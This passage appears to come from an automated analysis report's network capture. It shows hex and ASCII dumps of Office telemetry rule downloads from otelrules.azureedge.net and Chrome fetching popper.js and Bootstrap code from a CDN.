2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 5b 74 61 62 69 6e 64 65 78 5d 22 2c 27 5b 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3d 22 74 72 75 65 22 5d 27 5d 2e 6d 61 70 28 28 74 3d 3e 60 24 7b 74 7d 3a 6e 6f 74 28 5b 74 61 62 69 6e 64 65 78 5e 3d 22 2d 22 5d 29 60 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6e 64 28 65 2c 74 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 64 28 74 29 26 26 68 28 74 29 29 29 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 26 26 4b 2e 66 69 6e 64 4f 6e 65 28 65 29 3f 65 3a 6e 75 6c 6c 7d 2c 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 4b Data Ascii: [tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!d(t)&&h(t)))},getSelectorFromElement(t){const e=R(t);return e&&K.findOne(e)?e:null},getElementFromSelector(t){const e=R(t);return e?K
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 61 63 74 69 76 65 22 29 29 7d 73 74 61 74 69 63 20 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 4a 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 68 69 73 29 3b 22 74 6f 67 67 6c 65 22 3d 3d 3d 74 26 26 65 5b 74 5d 28 29 7d 29 29 7d 7d 6a 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 2e 62 73 2e 62 75 74 74 6f 6e 2e 64 61 74 61 2d 61 70 69 22 2c 47 2c 28 74 3d 3e 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=J.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}j.on(document,"click.bs.button.data-api",G,(t=>{t.preventDefa
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 6c 74 61 58 3d 30 2c 65 26 26 76 28 65 3e 30 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 43 61 6c 6c 62 61 63 6b 29 7d 5f 69 6e 69 74 45 76 65 6e 74 73 28 29 7b 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 3f 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 73 74 61 72 74 28 74 29 29 29 2c 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 65 6e 64 28 74 29 29 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 22 29 29 3a 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 Data Ascii: ltaX=0,e&&v(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(j.on(this._element,st,(t=>this._start(t))),j.on(this._element,nt,(t=>this._end(t))),this._element.classList.add("pointer-event")):(j.on(this._e

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:37 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124337Z-174f78459684bddphC1EWRbht40000000v5g000000007vsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:37 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124337Z-174f7845968kdththC1EWRzvxn00000007x0000000000daa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:37 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124337Z-174f7845968psccphC1EWRuz9s0000000vt00000000028ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:37 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:37 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124337Z-174f7845968n2hr8hC1EWR9cag0000000uyg00000000d736 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:37 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:37 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124337Z-174f7845968v75bwhC1EWRuqen0000000gbg000000008w9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49749	151.101.129.229	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:38 UTC	388	OUT	GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:39 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20122 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.11.8 X-JSD-Version-Type: version ETag: W/"4e9a-hx1u8QcL02PqOQ4MjDhOR9zn84k" Accept-Ranges: bytes Date: Tue, 26 Nov 2024 12:43:38 GMT Age: 1075525 X-Served-By: cache-fra-eddf8230047-FRA, cache-ewr-kewr1740026-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 70 6f 70 70 65 72 6a 73 2f 63 6f 72 65 20 76 32 2e 31 31 2e 38 20 2d 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 74 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 74 29 3a 74 28 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 50 6f 70 70 65 72 3d 7b 7d 29 7d Data Ascii: /** * @popperjs/core v2.11.8 - MIT License */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 6e 3d 74 28 65 29 3b 72 65 74 75 72 6e 7b 73 63 72 6f 6c 6c 4c 65 66 74 3a 6e 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 73 63 72 6f 6c 6c 54 6f 70 3a 6e 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 28 65 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 28 28 6e 28 65 29 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 65 2e 64 6f 63 75 6d 65 6e 74 29 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 20 70 28 64 28 65 Data Ascii: unction u(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function l(e){return e?(e.nodeName\|\|"").toLowerCase():null}function d(e){return((n(e)?e.ownerDocument:e.document)\|\|window.document).documentElement}function h(e){return p(d(e
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 28 6e 3d 5b 5d 29 3b 76 61 72 20 6f 3d 78 28 65 29 2c 69 3d 6f 3d 3d 3d 28 6e 75 6c 6c 3d 3d 28 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 76 6f 69 64 20 30 3a 72 2e 62 6f 64 79 29 2c 61 3d 74 28 6f 29 2c 73 3d 69 3f 5b 61 5d 2e 63 6f 6e 63 61 74 28 61 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 7c 7c 5b 5d 2c 76 28 6f 29 3f 6f 3a 5b 5d 29 3a 6f 2c 66 3d 6e 2e 63 6f 6e 63 61 74 28 73 29 3b 72 65 74 75 72 6e 20 69 3f 66 3a 66 2e 63 6f 6e 63 61 74 28 77 28 62 28 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 5b 22 74 61 62 6c 65 22 2c 22 74 64 22 2c 22 74 68 22 5d 2e 69 6e 64 65 78 4f 66 28 6c 28 65 29 29 3e 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 72 28 65 29 26 26 22 66 69 78 65 64 Data Ascii: (n=[]);var o=x(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport\|\|[],v(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(w(b(s)))}function O(e){return["table","td","th"].indexOf(l(e))>=0}function j(e){return r(e)&&"fixed
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 72 3d 74 2e 67 65 74 28 65 29 3b 72 26 26 6f 28 72 29 7d 7d 29 29 2c 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 73 65 74 28 65 2e 6e 61 6d 65 2c 65 29 7d 29 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 68 61 73 28 65 2e 6e 61 6d 65 29 7c 7c 6f 28 65 29 7d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 26 26 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3b 69 66 28 65 2e 63 6f 6e 74 61 69 6e 73 28 74 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 6e 26 26 6f 28 6e 29 29 7b 76 61 72 20 72 3d 74 3b 64 6f 7b 69 66 28 72 26 26 65 2e 69 73 53 61 6d 65 4e 6f 64 65 28 72 29 29 72 Data Ascii: r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)\|\|o(e)})),r}function C(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))r
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 69 6f 6e 29 3e 3d 30 26 26 72 28 65 29 3f 45 28 65 29 3a 65 3b 72 65 74 75 72 6e 20 6e 28 6f 29 3f 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 26 43 28 65 2c 6f 29 26 26 22 62 6f 64 79 22 21 3d 3d 6c 28 65 29 7d 29 29 3a 5b 5d 7d 28 65 29 3a 5b 5d 2e 63 6f 6e 63 61 74 28 74 29 2c 63 3d 5b 5d 2e 63 6f 6e 63 61 74 28 66 2c 5b 6f 5d 29 2c 70 3d 63 5b 30 5d 2c 75 3d 63 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 49 28 65 2c 6e 2c 73 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 70 3d 69 28 72 2e 74 6f 70 2c 74 2e 74 6f 70 29 2c 74 2e 72 69 67 68 74 3d 61 28 72 2e 72 69 67 68 74 2c 74 2e 72 69 67 68 74 29 2c 74 2e 62 6f 74 74 6f 6d 3d 61 28 72 2e 62 6f 74 74 6f 6d 2c Data Ascii: ion)>=0&&r(e)?E(e):e;return n(o)?t.filter((function(e){return n(e)&&C(e,o)&&"body"!==l(e)})):[]}(e):[].concat(t),c=[].concat(f,[o]),p=c[0],u=c.reduce((function(t,n){var r=I(e,n,s);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 72 79 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 67 3d 72 2e 70 61 64 64 69 6e 67 2c 62 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 67 2c 78 3d 59 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 62 3f 62 3a 47 28 62 2c 6b 29 29 2c 77 3d 6d 3d 3d 3d 54 3f 22 72 65 66 65 72 65 6e 63 65 22 3a 54 2c 4f 3d 65 2e 72 65 63 74 73 2e 70 6f 70 70 65 72 2c 6a 3d 65 2e 65 6c 65 6d 65 6e 74 73 5b 79 3f 77 3a 6d 5d 2c 45 3d 5f 28 6e 28 6a 29 3f 6a 3a 6a 2e 63 6f 6e 74 65 78 74 45 6c 65 6d 65 6e 74 7c 7c 64 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 70 6f 70 70 65 72 29 2c 63 2c 6c 2c 73 29 2c 50 3d 70 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 4d 3d 58 28 7b 72 65 66 65 72 65 6e 63 65 3a 50 2c 65 6c 65 6d 65 6e 74 3a 4f 2c 73 74 72 61 74 Data Ascii: ry,y=void 0!==v&&v,g=r.padding,b=void 0===g?0:g,x=Y("number"!=typeof b?b:G(b,k)),w=m===T?"reference":T,O=e.rects.popper,j=e.elements[y?w:m],E=_(n(j)?j:j.contextElement\|\|d(e.elements.popper),c,l,s),P=p(e.elements.reference),M=X({reference:P,element:O,strat
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 2c 70 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 71 28 65 29 3b 72 65 74 75 72 6e 20 56 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 68 61 73 65 3d 3d 3d 6e 7d 29 29 29 7d 29 2c 5b 5d 29 7d 28 28 73 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6f 2c 66 2e 6f 70 74 69 6f 6e 73 2e 6d 6f 64 69 66 69 65 72 73 29 2c 70 3d 73 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 5b 74 2e 6e 61 6d 65 5d 3b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 2c 74 2c 7b 6f 70 74 69 6f 6e 73 3a 4f Data Ascii: ,p,d=function(e){var t=q(e);return V.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:O
